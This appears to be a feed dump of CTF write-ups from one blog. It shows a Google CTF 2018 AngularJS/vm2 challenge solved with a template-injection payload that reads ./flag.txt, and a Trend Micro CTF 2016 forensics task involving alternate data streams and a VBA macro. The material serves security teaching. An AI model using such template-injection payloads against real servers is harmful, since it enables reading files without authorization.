<span class="kd">let</span> <span class="nx">fr</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">read_dictionary</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">uid</span><span class="p">,</span> <span class="s1">'fr'</span><span class="p">);</span>
<span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">renderHtml</span><span class="p">(</span><span class="s2">`
english dictionary: </span><span class="p">${</span><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">en</span><span class="p">)}</span><span class="s2"> <hr>
french dictionary: </span><span class="p">${</span><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">fr</span><span class="p">)}</span><span class="s2"> <hr>
<a href="/">go back</a>
`</span><span class="p">));</span>
<span class="p">});</span>
<span class="c1">// A simple endpoint that resets all.</span>
<span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="s1">'/reset'</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">delete_dictionary</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">uid</span><span class="p">,</span> <span class="s1">'en'</span><span class="p">);</span>
<span class="nx">delete_dictionary</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">uid</span><span class="p">,</span> <span class="s1">'fr'</span><span class="p">);</span>
<span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">renderStatic</span><span class="p">(</span><span class="s1">'static/reset_done.html'</span><span class="p">));</span>
<span class="p">});</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="p">()</span> <span class="o">=></span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'listening on port 1337'</span><span class="p">));</span>
</code></pre></div></div>
<p>four interesting files here: <code class="highlighter-rouge">./restricted_fs</code>, <code class="highlighter-rouge">./srcs/sandboxed/angularjs_for_domino.js</code>, <code class="highlighter-rouge">./srcs/sandboxed/app.js</code> and <code class="highlighter-rouge">./srcs/sandboxed/i18n.js</code>. But I couldn’t get <code class="highlighter-rouge">angularjs_for_domino.js</code> for some reason.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ./srcs/restricted_fs.js</span>
<span class="kd">const</span> <span class="nx">fs</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">'fs'</span><span class="p">);</span> <span class="c1">// the builtin</span>
<span class="kd">function</span> <span class="nx">load</span><span class="p">(</span><span class="nx">fileName</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// If it's not a reasonable charset or there's .. inside, throw</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">fileName</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="sr">/^</span><span class="se">[/\-\_\.\d\w]</span><span class="sr">+$/</span><span class="p">)</span> <span class="o">||</span> <span class="nx">fileName</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="sr">/</span><span class="se">\.\.</span><span class="sr">/</span><span class="p">))</span> <span class="p">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="s2">`FS abuse detected when trying to load </span><span class="p">${</span><span class="nx">file</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nb">String</span><span class="p">(</span><span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="s1">'./'</span> <span class="o">+</span> <span class="nx">fileName</span><span class="p">));</span>
<span class="p">}</span>
<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span>
<span class="na">load</span><span class="p">:</span><span class="nx">load</span><span class="p">,</span>
<span class="p">};</span>
</code></pre></div></div>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ./srcs/sandboxed/app.js</span>
<span class="k">async</span> <span class="kd">function</span> <span class="nx">setAppUp</span><span class="p">(</span><span class="nb">window</span><span class="p">,</span> <span class="nx">givenScope</span><span class="p">,</span> <span class="nx">i18n</span><span class="p">,</span> <span class="nx">lang</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Start the Angular machine.</span>
<span class="kd">var</span> <span class="nx">app</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">angular</span><span class="p">.</span><span class="nx">module</span><span class="p">(</span><span class="s1">'demo'</span><span class="p">,</span> <span class="p">[]);</span>
<span class="kr">await</span> <span class="nx">i18n</span><span class="p">.</span><span class="nx">setupAngularService</span><span class="p">(</span><span class="nx">app</span><span class="p">,</span> <span class="nx">lang</span><span class="p">);</span>
<span class="c1">// Make the errors appear.</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">factory</span><span class="p">(</span><span class="s1">'$exceptionHandler'</span><span class="p">,</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
<span class="k">return</span> <span class="kd">function</span> <span class="nx">myExceptionHandler</span><span class="p">(</span><span class="nx">exception</span><span class="p">,</span> <span class="nx">cause</span><span class="p">)</span> <span class="p">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="nx">exception</span><span class="p">);</span>
<span class="p">};</span>
<span class="p">});</span>
<span class="c1">// Remove debug info, nobody cares.</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">config</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">$compileProvider</span><span class="p">,</span> <span class="nx">$sceDelegateProvider</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">$compileProvider</span><span class="p">.</span><span class="nx">debugInfoEnabled</span><span class="p">(</span><span class="kc">false</span><span class="p">);</span>
<span class="p">});</span>
<span class="c1">// App functionnality</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">controller</span><span class="p">(</span><span class="s1">'paramsController'</span><span class="p">,</span> <span class="kd">function</span><span class="p">(</span><span class="nx">$window</span><span class="p">,</span> <span class="nx">$scope</span><span class="p">,</span> <span class="nx">i18n</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">$scope</span><span class="p">.</span><span class="nb">window</span> <span class="o">=</span> <span class="nx">$window</span><span class="p">;</span>
<span class="nx">$scope</span><span class="p">.</span><span class="nx">i18n</span> <span class="o">=</span> <span class="nx">i18n</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">k</span> <span class="k">of</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">keys</span><span class="p">(</span><span class="nx">givenScope</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">$scope</span><span class="p">[</span><span class="nx">k</span><span class="p">]</span> <span class="o">=</span> <span class="nx">givenScope</span><span class="p">[</span><span class="nx">k</span><span class="p">];</span>
<span class="p">}</span>
<span class="p">});</span>
<span class="c1">// A directive to load internationalized templates.</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">directive</span><span class="p">(</span><span class="s1">'myInclude'</span><span class="p">,</span> <span class="p">(</span><span class="nx">$compile</span><span class="p">,</span> <span class="nx">$sce</span><span class="p">,</span> <span class="nx">i18n</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">recursionCount</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">return</span> <span class="p">{</span>
<span class="na">restrict</span><span class="p">:</span> <span class="s1">'A'</span><span class="p">,</span>
<span class="na">link</span><span class="p">:</span> <span class="p">(</span><span class="nx">scope</span><span class="p">,</span> <span class="nx">element</span><span class="p">,</span> <span class="nx">attrs</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">attrs</span><span class="p">[</span><span class="s1">'myInclude'</span><span class="p">].</span><span class="nx">match</span><span class="p">(</span><span class="sr">/</span><span class="se">\.</span><span class="sr">html$|</span><span class="se">\.</span><span class="sr">js$|</span><span class="se">\.</span><span class="sr">json$/</span><span class="p">))</span> <span class="p">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="s2">`Include should only include html, json or js files ಠ_ಠ`</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">recursionCount</span><span class="o">++</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">recursionCount</span> <span class="o">>=</span> <span class="mi">20</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// ng-include a template that ng-include a template that...</span>
<span class="k">throw</span> <span class="nb">Error</span><span class="p">(</span><span class="s2">`That's too recursive ಠ_ಠ`</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">element</span><span class="p">.</span><span class="nx">html</span><span class="p">(</span><span class="nx">i18n</span><span class="p">.</span><span class="nx">template</span><span class="p">(</span><span class="nx">attrs</span><span class="p">[</span><span class="s1">'myInclude'</span><span class="p">]));</span>
<span class="nx">$compile</span><span class="p">(</span><span class="nx">element</span><span class="p">.</span><span class="nx">contents</span><span class="p">())(</span><span class="nx">scope</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="p">});</span>
<span class="c1">// And we're ready to bootstrap and render.</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">angular</span><span class="p">.</span><span class="nx">bootstrap</span><span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nb">document</span><span class="p">,</span> <span class="p">[</span><span class="s1">'demo'</span><span class="p">]);</span>
<span class="p">}</span>
<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="nx">setAppUp</span><span class="p">;</span>
</code></pre></div></div>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ./srcs/sandboxed/i18n.js</span>
<span class="kd">class</span> <span class="nx">I18n</span> <span class="p">{</span>
<span class="kd">constructor</span><span class="p">(</span><span class="nx">fs</span><span class="p">,</span> <span class="nx">ds</span><span class="p">)</span> <span class="p">{</span>
<span class="k">this</span><span class="p">.</span><span class="nx">fs</span> <span class="o">=</span> <span class="nx">fs</span><span class="p">;</span>
<span class="k">this</span><span class="p">.</span><span class="nx">ds</span> <span class="o">=</span> <span class="nx">ds</span><span class="p">;</span>
<span class="k">this</span><span class="p">.</span><span class="nx">translations</span> <span class="o">=</span> <span class="p">{};</span>
<span class="p">}</span>
<span class="nx">translationsForLang_</span><span class="p">(</span><span class="nx">lang</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">translations</span> <span class="o">=</span> <span class="p">{};</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">lang</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="sr">/^</span><span class="se">\w</span><span class="sr">+$/</span><span class="p">))</span> <span class="p">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="s1">'Badness detected in the language field'</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">ds</span><span class="p">(</span><span class="nx">lang</span><span class="p">).</span><span class="nx">then</span><span class="p">((</span><span class="nx">translations</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">this</span><span class="p">.</span><span class="nx">translations</span> <span class="o">=</span> <span class="nx">translations</span><span class="p">;</span>
<span class="k">return</span> <span class="nx">translations</span><span class="p">;</span>
<span class="p">}).</span><span class="k">catch</span><span class="p">((</span><span class="nx">e</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">e</span><span class="p">);</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="s2">`Canmot open dictionnary: </span><span class="p">${</span><span class="nx">e</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
<span class="p">});</span>
<span class="p">}</span>
<span class="nx">forSingleWord</span><span class="p">(</span><span class="nx">word</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">translations</span><span class="p">[</span><span class="nx">word</span><span class="p">];</span>
<span class="p">}</span>
<span class="nx">translate_</span><span class="p">(</span><span class="nx">translations</span><span class="p">,</span> <span class="nx">template</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">templateValue</span><span class="p">;</span>
<span class="k">try</span> <span class="p">{</span>
<span class="nx">templateValue</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">fs</span><span class="p">.</span><span class="nx">load</span><span class="p">(</span><span class="nx">template</span><span class="p">);</span>
<span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="s2">`Couldn't load template: </span><span class="p">${</span><span class="nx">e</span><span class="p">}</span><span class="s2">`</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">k</span> <span class="k">of</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">keys</span><span class="p">(</span><span class="nx">translations</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">templateValue</span> <span class="o">=</span> <span class="nx">templateValue</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span>
<span class="k">new</span> <span class="nb">RegExp</span><span class="p">(</span><span class="s2">`\\[\\[</span><span class="p">${</span><span class="nx">k</span><span class="p">}</span><span class="s2">\\]\\]`</span><span class="p">,</span> <span class="s1">'g'</span><span class="p">),</span> <span class="nx">translations</span><span class="p">[</span><span class="nx">k</span><span class="p">]);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">templateValue</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">async</span> <span class="nx">forTemplateWithLang</span><span class="p">(</span><span class="nx">lang</span><span class="p">,</span> <span class="nx">template</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">translations</span> <span class="o">=</span> <span class="kr">await</span> <span class="k">this</span><span class="p">.</span><span class="nx">translationsForLang_</span><span class="p">(</span><span class="nx">lang</span><span class="p">);</span>
<span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">translate_</span><span class="p">(</span><span class="nx">translations</span><span class="p">,</span> <span class="nx">template</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">forTemplate</span><span class="p">(</span><span class="nx">template</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">translate_</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">translations</span><span class="p">,</span> <span class="nx">template</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">async</span> <span class="nx">setupAngularService</span><span class="p">(</span><span class="nx">app</span><span class="p">,</span> <span class="nx">lang</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">myI18n</span> <span class="o">=</span> <span class="k">this</span><span class="p">;</span>
<span class="kr">await</span> <span class="k">this</span><span class="p">.</span><span class="nx">translationsForLang_</span><span class="p">(</span><span class="nx">lang</span><span class="p">);</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">service</span><span class="p">(</span><span class="s1">'i18n'</span><span class="p">,</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
<span class="k">return</span> <span class="p">{</span>
<span class="na">template</span><span class="p">:</span> <span class="p">(</span><span class="nx">t</span><span class="p">)</span> <span class="o">=></span> <span class="nx">myI18n</span><span class="p">.</span><span class="nx">forTemplate</span><span class="p">(</span><span class="nx">t</span><span class="p">),</span>
<span class="na">word</span><span class="p">:</span> <span class="p">(</span><span class="nx">w</span><span class="p">)</span> <span class="o">=></span> <span class="nx">myI18n</span><span class="p">.</span><span class="nx">forSingleWord</span><span class="p">(</span><span class="nx">w</span><span class="p">),</span>
<span class="p">}</span>
<span class="p">});</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span>
<span class="na">build</span><span class="p">:</span> <span class="p">(</span><span class="nx">fs</span><span class="p">,</span> <span class="nx">ds</span><span class="p">)</span> <span class="o">=></span> <span class="k">new</span> <span class="nx">I18n</span><span class="p">(</span><span class="nx">fs</span><span class="p">,</span> <span class="nx">ds</span><span class="p">)</span>
<span class="p">};</span>
</code></pre></div></div>
<p>There is some restriction on the app:</p>
<ul>
<li>filesystem
<ul>
<li>restricted_fs.js
<ul>
<li>prevent loading file from upper directory</li>
</ul>
</li>
<li><code class="highlighter-rouge">my-include</code> directive
<ul>
<li>prevent loading file except <code class="highlighter-rouge">.html</code>, <code class="highlighter-rouge">.js</code> and <code class="highlighter-rouge">.json</code></li>
</ul>
</li>
</ul>
</li>
<li>vm2 sandbox
<ul>
<li>prevent access to most of nodejs objects</li>
</ul>
</li>
</ul>
<p>basically there seems to be no sandbox escape on vm2 and AngularJS (v1.6.9), and the goal is to read file without <code class="highlighter-rouge">my-include</code> directive.</p>
<p>So let’s search avalable object in this context.
The first idea I thought was using <code class="highlighter-rouge">process</code> but there are no useful modules here.
So how about AngularJS stuff? I found that <code class="highlighter-rouge">window</code> object is available:</p>
<p><code class="highlighter-rouge">{{window}}</code><br />
<img src="/assets/googlectf-2018-quals-2018-translate/window.png" alt="window.png" width="40%" /></p>
<p>So this means the scope is under angular app, where <code class="highlighter-rouge">i18n</code> object is also available:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nx">app</span><span class="p">.</span><span class="nx">controller</span><span class="p">(</span><span class="s1">'paramsController'</span><span class="p">,</span> <span class="kd">function</span><span class="p">(</span><span class="nx">$window</span><span class="p">,</span> <span class="nx">$scope</span><span class="p">,</span> <span class="nx">i18n</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">$scope</span><span class="p">.</span><span class="nb">window</span> <span class="o">=</span> <span class="nx">$window</span><span class="p">;</span>
<span class="nx">$scope</span><span class="p">.</span><span class="nx">i18n</span> <span class="o">=</span> <span class="nx">i18n</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">k</span> <span class="k">of</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">keys</span><span class="p">(</span><span class="nx">givenScope</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">$scope</span><span class="p">[</span><span class="nx">k</span><span class="p">]</span> <span class="o">=</span> <span class="nx">givenScope</span><span class="p">[</span><span class="nx">k</span><span class="p">];</span>
<span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>
<p><code class="highlighter-rouge">{{i18n}}</code><br />
<img src="/assets/googlectf-2018-quals-2018-translate/i18n.png" alt="i18n.png" width="40%" /></p>
<p>The goal is almost there! Because <code class="highlighter-rouge">i18n</code> has <code class="highlighter-rouge">template_</code> (connected to <code class="highlighter-rouge">template</code>) method which loads arbitrary file as template:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nx">translate_</span><span class="p">(</span><span class="nx">translations</span><span class="p">,</span> <span class="nx">template</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">templateValue</span><span class="p">;</span>
<span class="k">try</span> <span class="p">{</span>
<span class="nx">templateValue</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">fs</span><span class="p">.</span><span class="nx">load</span><span class="p">(</span><span class="nx">template</span><span class="p">);</span>
<span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="s2">`Couldn't load template: </span><span class="p">${</span><span class="nx">e</span><span class="p">}</span><span class="s2">`</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">k</span> <span class="k">of</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">keys</span><span class="p">(</span><span class="nx">translations</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">templateValue</span> <span class="o">=</span> <span class="nx">templateValue</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span>
<span class="k">new</span> <span class="nb">RegExp</span><span class="p">(</span><span class="s2">`\\[\\[</span><span class="p">${</span><span class="nx">k</span><span class="p">}</span><span class="s2">\\]\\]`</span><span class="p">,</span> <span class="s1">'g'</span><span class="p">),</span> <span class="nx">translations</span><span class="p">[</span><span class="nx">k</span><span class="p">]);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">templateValue</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">...</span>
<span class="nx">forTemplate</span><span class="p">(</span><span class="nx">template</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">translate_</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">translations</span><span class="p">,</span> <span class="nx">template</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">...</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">service</span><span class="p">(</span><span class="s1">'i18n'</span><span class="p">,</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
<span class="k">return</span> <span class="p">{</span>
<span class="na">template</span><span class="p">:</span> <span class="p">(</span><span class="nx">t</span><span class="p">)</span> <span class="o">=></span> <span class="nx">myI18n</span><span class="p">.</span><span class="nx">forTemplate</span><span class="p">(</span><span class="nx">t</span><span class="p">),</span>
<span class="na">word</span><span class="p">:</span> <span class="p">(</span><span class="nx">w</span><span class="p">)</span> <span class="o">=></span> <span class="nx">myI18n</span><span class="p">.</span><span class="nx">forSingleWord</span><span class="p">(</span><span class="nx">w</span><span class="p">),</span>
<span class="p">}</span>
<span class="p">});</span>
<span class="p">...</span>
</code></pre></div></div>
<p>Finally I could leak flag with <code class="highlighter-rouge">i18n.template</code></p>
<p><code class="highlighter-rouge">{{i18n.template("./flag.txt")}}</code><br />
<img src="/assets/googlectf-2018-quals-2018-translate/flag.png" alt="flag.png" width="60%" /></p>icchyClient-side rendering, but not in a browser! Get the flag in ./flag.txt, and seeing the source will likely help.Trend Micro CTF 2016 forensic 200 (en)2016-08-04T00:00:00+00:002016-08-04T00:00:00+00:00https://blog.tonkatsu.info/en/ctf/2016/08/04/tmctf-2016-for-200-en<p>The given data is VM image of VMWare.<br />
We started up the image and found “flag” file on Desktop. The task is to find password of flag file.</p>
<p>Why they give live VM ? Is it impossible to solve this task without Windows environment ? (ex. KeyLogger)<br />
We analyzed MFT, evtx, tasks, and found following fact.</p>
<ul>
<li><code class="highlighter-rouge">\Users\M\Hello.rar</code> exists</li>
<li>flag.7z and Hello.rar is transfered using vmware’s function (drag’n’drop)
<ul>
<li>there is no reason using keylogger because flag.7z has been encrypted at first</li>
</ul>
</li>
<li>suspcious description in <code class="highlighter-rouge">\Windows\System32\Tasks\Microsoft\Windows\Sharing\UpdateLibary</code>
<ul>
<li><code class="highlighter-rouge">cmd /c "vssadmin &gt; %userprofile%\m"</code></li>
<li>according to <code class="highlighter-rouge">UsnJrnl</code>, <code class="highlighter-rouge">\Users\M\m</code> is created in a moment</li>
</ul>
</li>
</ul>
<p>We got lost and ruined about a day.</p>
<p>Dumping <code class="highlighter-rouge">Hello.rar</code> with xxd after a while,</p>
<figure class="highlight"><pre><code class="language-text" data-lang="text">00000e0: ddd2 88d5 481d 3303 0000 0000 0053 544d ....H.3......STM
00000f0: 3a00 5a00 6f00 6e00 6500 2e00 4900 6400 :.Z.o.n.e...I.d.
0000100: 6500 6e00 7400 6900 6600 6500 7200 0c15 e.n.t.i.f.e.r...
0000110: 0fc5 0d15 5501 1111 e9a7 b289 ec7a 7ba6 ....U........z{.</code></pre></figure>
<p><code class="highlighter-rouge">Zone.Identifer</code>!!! We doubt that there is ADS (Alternate Data Stream).</p>
<p>extracting <code class="highlighter-rouge">Hello.rar</code>, We found <code class="highlighter-rouge">Hello.txt:Zone.Identifer:$DATA</code>.</p>
<p><img src="/assets/ctf-tmctf-2016-for-200/2.png" alt="2.png" /></p>
<p>This data seems to be a Rar file.
<img src="/assets/ctf-tmctf-2016-for-200/3.png" alt="3.png" /></p>
<p>ADS have to be extracted in NTFS, We used ADSManager.
<img src="/assets/ctf-tmctf-2016-for-200/4.png" alt="4.png" /></p>
<p>There is more ADS
<img src="/assets/ctf-tmctf-2016-for-200/5.png" alt="5.png" /></p>
<p>We got Word flie from <code class="highlighter-rouge">Zone.Identifer:Zone.Identifer:$DATA</code></p>
<figure class="highlight"><pre><code class="language-text" data-lang="text">extracted2: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 950, Template: Normal.dotm, Revision Number: 60, Name of Creating Application: Microsoft Office Word, Total Editing Time: 19:05:00, Create Time/Date: Mon Jun 20 08:42:00 2016, Last Saved Time/Date: Tue Jun 21 03:47:00 2016, Number of Pages: 1, Number of Words: 13, Number of Characters: 75, Security: 0</code></pre></figure>
<p>Opening this file with MS Word, and found VBA macro! But the macro cannnot be edited because it is encrypted with password.</p>
<p>We used <a href="http://www.decalage.info/python/olevba">olevba</a> to extract macro.</p>
<figure class="highlight"><pre><code class="language-vb.net" data-lang="vb.net">FILE: extracted2
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: extracted2 - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Document_Close()
CTFpo.CTF
End Sub
-------------------------------------------------------------------------------
VBA MACRO CTFpo.bas
in file: extracted2 - OLE stream: u'Macros/VBA/CTFpo'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub CTF()
'Created by MC.
On Error GoTo Handler
'a FileSystemObject.
Set fso = CreateObject("Scripting.FileSystemObject")
Dim fname, passOne, passTwo, sTemp, sFlagEnc As String
Dim fLength As Integer
' Create a TextStream.
Set stream = fso.OpenTextFile("install.log", 1)
sTemp = stream.Readline
fLength = Int(Mid(sTemp, 2, 1))
fname = Left(sTemp, 1 + fLength)
passOne = Mid(sTemp, 2)
stream.Close
Set streamTwo = fso.OpenTextFile(fname, 1)
sTemp = streamTwo.Readline
passTwo = Left(sTemp, 8)
streamTwo.Close
passOne = Replace(passOne + passTwo, " ", "")
If Day(Now()) > 30 And Minute(Now()) > 58 Then
MsgBox passOne, vbInformation, "It is what you are looking all along.."
End If
Handler:
End Sub
Private Function Decrypt(key As String, encrypted As String)
On Error Resume Next:
Do While (Len(key) < Len(encrypted))
key = key + key
Loop
For i = 1 To Len(encrypted):
Decrypt = Decrypt & Chr(Asc(Mid(key, i, 1)) Xor Asc(Mid(encrypted, i, 1)))
Next:
End Function</code></pre></figure>
<p>We rewrote CTF() function with python.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c"># decode.py</span>
<span class="n">stream</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'install.log'</span><span class="p">)</span>
<span class="n">stemp</span> <span class="o">=</span> <span class="n">stream</span><span class="o">.</span><span class="n">readline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="n">flength</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">stemp</span><span class="p">[</span><span class="mi">1</span><span class="p">:</span><span class="mi">2</span><span class="p">])</span>
<span class="n">fname</span> <span class="o">=</span> <span class="n">stemp</span><span class="p">[:</span><span class="mi">1</span><span class="o">+</span><span class="n">flength</span><span class="p">]</span>
<span class="n">passone</span> <span class="o">=</span> <span class="n">stemp</span><span class="p">[</span><span class="mi">1</span><span class="p">:]</span>
<span class="n">stream</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">stream2</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">fname</span><span class="p">)</span>
<span class="n">stemp</span> <span class="o">=</span> <span class="n">stream2</span><span class="o">.</span><span class="n">readline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="n">passtwo</span> <span class="o">=</span> <span class="n">stemp</span><span class="p">[:</span><span class="mi">8</span><span class="p">]</span>
<span class="n">stream2</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">passone</span> <span class="o">=</span> <span class="p">(</span><span class="n">passone</span><span class="o">+</span><span class="n">passtwo</span><span class="p">)</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s">' '</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
<span class="k">print</span> <span class="n">passone</span></code></pre></figure>
<p>We took <code class="highlighter-rouge">install.log</code> from VM (<code class="highlighter-rouge">\Users\M\install.log</code>) and executing this script, It says “No such file or directory ‘M’”. So we recovered ‘M’ using description of Tasks.
<img src="/assets/ctf-tmctf-2016-for-200/6.png" alt="6.png" /></p>
<p>Executing the script, we got <code class="highlighter-rouge">0zillaFirefoxInstallationStarted:2015-09-0715:18:16vssadmin</code>.</p>
<p>Decrypted <code class="highlighter-rouge">flag.7z</code> using the password, and got flag.
<img src="/assets/ctf-tmctf-2016-for-200/7.png" alt="7.png" /></p>icchyThe given data is VM image of VMWare. We started up the image and found “flag” file on Desktop. The task is to find password of flag file.About this blog2016-05-04T00:00:00+00:002016-05-04T00:00:00+00:00https://blog.tonkatsu.info/2016/05/04/about-this-blog<p>主にCTFのwriteupを書いていきます.</p>
<p>here is place to put CTF write-ups.</p>icchy主にCTFのwriteupを書いていきます.